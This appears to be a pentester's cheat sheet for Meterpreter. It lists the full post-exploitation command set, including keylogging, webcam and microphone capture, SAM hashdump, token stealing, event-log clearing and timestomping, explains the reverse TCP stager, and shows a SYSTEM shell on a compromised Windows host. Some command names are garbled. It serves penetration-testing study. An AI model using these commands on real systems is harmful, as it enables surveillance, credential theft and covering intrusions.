METERPRETER CMDS

Meterpreter exposes its own command set, not a full OS shell. Instead of running whoami as a Meterpreter command, an equivalent Linux command or Meterpreter’s built-in getuid (which returns the current user context) or sysinfo (for system details) must be used. If native OS commands must be used (for example whoami, ipconfig, or Linux id), use shell or execute from Meterpreter to spawn a real command shell on the target and run them there. Don’t assume common cmd/linux utilities are Meterpreter commands. Use Meterpreter’s equivalents (getuid, sysinfo, ps, etc.) or drop to a shell to run native commands.

FULL CMD LIST

meterpreter > help

 Core Commands
 =============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of Unicode strings
    enable_unicode_encoding   Enables encoding of Unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    IRB                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


 Strap: File system Commands
 ============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    LCD           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    PWD           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


 Strap: Networking Commands
 ===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    get proxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of hostnames on the target
    route         View and modify the routing table


 Strap: System Commands
 =======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


 Strap: User interface Commands
 ===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idle time       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user's desktop in real-time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


 Stdapi: Webcam Commands
 =======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


 Strap: Audio Output Commands
 =============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


 Priv: Elevate Commands
 ======================

    Command       Description
    -------       -----------
    get system     Attempt to elevate your privilege to that of the local system.


 Priv: Password database Commands
 ================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


 Priv: Timestamp Commands
 ========================

    Command       Description
    -------       -----------
    timestamp     Manipulate file MACE attributes

The “channel” refers to the network connection between the attacker's machine and the compromised host. In this case a reverse TCP link established from the target back to the attacker. That connection was bootstrapped by a small Meterpreter stager on the target, which initialized the outbound connection to the attacker's listener, and then fetched and executed the larger Meterpreter stage. The stager’s role is to create a reliable transport; the stage delivers the full-featured Meterpreter payload and opens the interactive session that can be used to control the target over that channel.

meterpreter > cd Users
meterpreter > ls
 Listing: C:\Users
 =================

 Mode              Size  Type  Last modified              Name
 ----              ----  ----  -------------              ----
 40777/rwxrwxrwx   8192  dir   2017-07-21 06:56:23 +0000  Administrator
 40777/rwxrwxrwx   0     dir   2009-07-14 05:08:56 +0000  All Users
 40555/r-xr-xr-x   8192  dir   2009-07-14 03:20:08 +0000  Default
 40777/rwxrwxrwx   0     dir   2009-07-14 05:08:56 +0000  Default User
 40555/r-xr-xr-x   4096  dir   2009-07-14 03:20:08 +0000  Public
 100666/rw-rw-rw-  174   fil   2009-07-14 04:54:24 +0000  desktop.ini
 40777/rwxrwxrwx   8192  dir   2017-07-14 13:45:33 +0000  haris

meterpreter > shell
 Process 2664 created.
 Channel 1 created.

 Microsoft Windows [Version 6.1.7601]
 Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users>
 Microsoft Windows [Version 6.1.7601]
 Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users>dir

 dir
  Volume in drive C has no label.
  Volume Serial Number is A0EF-1911

  Directory of C:\Users

 21/07/2017  07:56    <DIR>          .
 21/07/2017  07:56    <DIR>          ..
 21/07/2017  07:56    <DIR>          Administrator
 14/07/2017  14:45    <DIR>          haris
 12/04/2011  08:51    <DIR>          Public
                0 File(s)              0 bytes
                5 Dir(s)  15,738,978,304 bytes free

C:\Users>whoami
 whoami
 nt authority\system

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